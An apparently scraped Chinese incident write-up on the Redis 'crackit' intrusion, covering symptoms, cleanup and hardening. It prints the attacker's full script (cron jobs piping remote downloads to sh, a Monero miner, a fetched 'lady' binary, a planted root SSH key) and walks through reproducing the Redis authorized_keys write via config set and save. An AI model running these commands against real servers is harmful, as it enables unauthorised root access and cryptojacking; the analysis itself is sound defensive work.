redis crackit入侵事件總結

1. 現象

 &emsp有如下其一現象就要注意是否被入侵:redis

  • crontab -l 能夠看到相似「/15 * curl -fsSL https://r.chanstring.com/api/... | sh」。
  • ps -ef 能夠看到進程 「/opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr」。
  • 查看redis庫,有「crackit」鍵。

2. 分析

經過查看從「https://r.chanstring.com/api/...」獲取的腳本進行分析,腳本以下:api

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/crontabs/root

ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr &

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
    mkdir -p ~/.ssh
    rm -f ~/.ssh/authorized_keys*
    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
    /etc/init.d/sshd restart
fi

if [ ! -f "/opt/yam/yam" ]; then
    rm -rf /opt/yam
    mkdir -p /opt/yam
    curl -fsSL https://r.chanstring.com/api/download/yam -o /opt/yam/yam
    chmod +x /opt/yam/yam
    nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr &
fi

if [ ! -f "/etc/init.d/lady" ]; then
    if [ ! -f "/etc/systemd/system/lady.service" ]; then
        mkdir -p /opt
        curl -fsSL https://r.chanstring.com/v10/lady_`uname -i` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33
    fi
fi

rm -rf /tmp/KHK75NEOiq*

service lady start
systemctl start lady.service
/etc/init.d/lady start

上面的腳本大概作了以下幾件事:bash

  • 將攻擊腳本寫入肉雞的crontab中,定時執行;
  • 將/opt/yam/yam(https://r.chanstring.com/api/...)放肉雞後臺執行;
  • 創建到肉雞的單向信任關係,即無需密碼便可以root權限登陸肉雞 註冊

並啓動/etc/init.d/lady(https://r.chanstring.com/v10/...`uname -i`處獲取)服務。服務器

3. 模擬

爲了更好地理解具體流程,以便於採起補救措施,這裏手動進行下模擬:
    • 前提:遠程主機能夠無需密碼登陸redisssh

    1. 執行命令「ssh-keygen -t rsa」一路回車到底,生成公鑰和私鑰(也能夠執行 ssh-keygen -t rsa -C "ssss"以隱藏公鑰中的主機名)。 生成到txt 「(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > foo.txt」(爲了不會拼接在其餘字符串後面或被其餘字符串拼接,這裏在公鑰上下加兩行空行)
    2. 清空redis:redis-cli -h 遠程ip flushall (很是暴力,請務必在測試環境執行。實際上也不用清空,由於在第2步中咱們已經加了多的空行)
    3. 執行:「cat foo.txt | redis-cli -h xxxx -x set crackit」(這裏「crackit」能夠是任意名字)
    4. 執行命令「redis-cli -h 遠程ip」登陸到遠程主機redis,執行以下命令:curl

      # 調用config set命令對redis的備份文件路徑進行修改,而後執行
      # save進行生成備份文件(這裏是生成了authorized_keys文件,也可
      # 以是任意名字,但若是是其餘名字就須要經過腳本對遠程主
      # 機/etc/ssh/sshd_config文件進行相應的配置)。這樣就可使用
      # 本地的私鑰去登入被植入公鑰的ssh服務器了。
      
      config set dir /root/.ssh/
      config dbfilename authorized_keys
      save
    5. 而後寫一個對遠程主機的/etc/ssh/sshd_config進行相關配置並重啓遠程主機sshd服務的腳本,經過上面的步驟植入到遠程主機的/var/spool/cron/root文件中,以讓遠程主機執行該腳本。

    到這裏,咱們就能夠不須要密碼以root身份登陸遠程主機了。tcp

    4. 清理

    若不想重裝系統,就得清理掉入侵者寫入本地的文件,及在本機開啓的服務。
    1. 刪掉/var/spool/cron/root、/var/spool/cron/crontabs/root,重啓crontab服務;
    2. 刪掉/root/.ssh/目錄下的異常文件(能夠刪除全部文件);
    3. kill掉/opt/yam/yam產生的進程,並刪除/opt/yam/yam;
    4. 將/etc/init.d/lady從服務列表中刪除,停掉/etc/init.d/lady,刪除/etc/init.d/lady;
    5. 修復/etc/ssh/sshd_config文件; 修復redis配置文件,重啓redis。

    5. 修補加固建議

    1. 經過配置rename-command CONFIG "",禁用一些命令。(某些必須以高權限運行的,能夠借鑑該方案)測試

      修改redis.conf文件,增長
         rename-command FLUSHALL ""
         rename-command FLUSHDB ""
         rename-command CONFIG ""
         rename-command EVAL ""
    2. 以低權限啓動redisui

      切換到其餘用戶su - xxx,而後再啓動server(切換是否注意以前文件權限,也須要相應修改)。
    3. 給redis增長驗證。url

      修改redis.conf文件
         requirepass mypassword
    4. 禁止對公網開放,將端口綁定到固定IP。

      修改redis.conf文件
         bind 127.0.0.1
    5. 檢查用戶.ssh目錄下是否已經存在非法的authorized_keys文件。
    相關文章
    相關標籤/搜索